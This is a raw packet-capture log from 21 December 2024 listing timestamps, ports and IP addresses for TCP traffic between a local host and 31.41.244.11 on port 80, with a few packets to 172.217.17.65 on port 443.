Dec 21, 2024 18:16:36.057775021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.057813883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.058768988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.058811903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.058864117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.058906078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.059962988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.060007095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.060043097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.060086012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.061397076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.061439037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.061489105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.061532021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.062360048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.062402010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.062463999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.062503099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.063486099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.063528061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.063649893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.063694000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.064806938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.064848900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.064940929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.064982891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.065840960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.065891981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.065987110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.066029072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.067038059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.067080975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.067172050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.067214012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.068279982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.068387985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.068434954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.069457054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.069631100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.069686890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.070565939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.070607901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.070733070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.071912050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.071954012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.071969032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.072918892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.072961092 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.073004961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.073048115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.074095011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.074338913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.074404001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.075256109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.075462103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.075504065 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.076437950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.076482058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.076550961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.077279091 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.077641010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.077686071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.077750921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.077792883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.078855991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.078902960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.079003096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.079046011 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.079978943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.080041885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.080084085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.081178904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.081231117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.081326008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.081423044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.082340002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.082474947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.082520008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.083523035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.083652020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.083699942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.084707975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.084774971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.084980011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.085748911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.085884094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.085922003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.086013079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.086052895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.087505102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.087729931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.087769985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.088804960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.088917971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.088963032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.089987040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.090022087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.090063095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.090840101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.090883970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.090946913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.091814041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.091867924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.091873884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.092991114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.093044043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.093080997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.093121052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.094147921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.094289064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.094336987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.095339060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.095448971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.095515966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.096477985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.096519947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.096600056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.097474098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.097654104 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.097697020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.097773075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.097815037 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.098869085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.098911047 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.099042892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.099087000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.100120068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.100188971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.100328922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.101206064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.101258039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.101306915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.101737022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.102432966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.102638960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.102690935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.104253054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.104334116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.104378939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.105397940 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.105459929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.105526924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.106095076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.106136084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.106225014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.107101917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.107145071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.107206106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.108491898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.108535051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.108618975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.108659983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.109549046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.109649897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.109690905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.110694885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.110901117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.110940933 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.111927032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.111969948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.112006903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.113094091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.113132954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.113229990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.113569975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.114336014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.117505074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.192197084 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:36.192424059 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:36.197973967 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:36.198028088 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:36.198618889 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:36.201378107 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:36.201740980 CET	49835	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:36.245307922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.245358944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.245534897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.245647907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.245680094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.245708942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.245744944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.246663094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.246738911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.246781111 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.247402906 CET	443	49835	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:36.247484922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.247870922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.247939110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.247992039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.249073982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.249175072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.249231100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.250176907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.250303030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.250358105 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.251368046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.251463890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.251524925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.252618074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.252728939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.252784014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.253731012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.253835917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.253889084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.254893064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.255001068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.255049944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.256099939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.256226063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.256272078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.257296085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.257426023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.257509947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.258434057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.258472919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.258543015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.259651899 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.259701967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.259728909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.260818005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.260864019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.260879993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.261430979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.261972904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.262110949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.262159109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.263170004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.263286114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.263339996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.264380932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.264492035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.264549017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.265579939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.265626907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.265789986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.265856981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.266700983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.266797066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.266840935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.267853022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.267960072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.268009901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.269057035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.269186020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.269232035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.270250082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.270395994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.270450115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.271413088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.271517992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.271565914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.272582054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.272659063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.272744894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.273446083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.274122000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.274183035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.274226904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.274986029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.275083065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.275085926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.275120020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.276124954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.276240110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.276283026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.277293921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.277343988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.277497053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.278481007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.278526068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.278836966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.279654980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.279659986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.279702902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.279715061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.279738903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.280834913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.280884027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.280945063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.280983925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.282004118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.282237053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.282274961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.283174992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.283328056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.283365965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.284359932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.284396887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.284482002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.285293102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.285567045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.285675049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.285722017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.286771059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.286853075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.286900043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.287950039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.288085938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.288132906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.289458036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.289483070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.289499998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.289513111 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.290549040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.290599108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.290662050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.290700912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.291619062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.291759014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.291801929 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.292670965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.292886972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.292931080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.293812990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.293910980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.293951988 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.294987917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.295027971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.295057058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.295717955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.296325922 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.296376944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.296442032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.296479940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.297406912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.297489882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.297533035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.298624039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.298737049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.298779964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.299721003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.299823999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.299936056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.300911903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.301089048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.301131964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.302067995 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.302181959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.302222967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.303247929 CET	80	49826	31.41.244.11	192.168.2.4
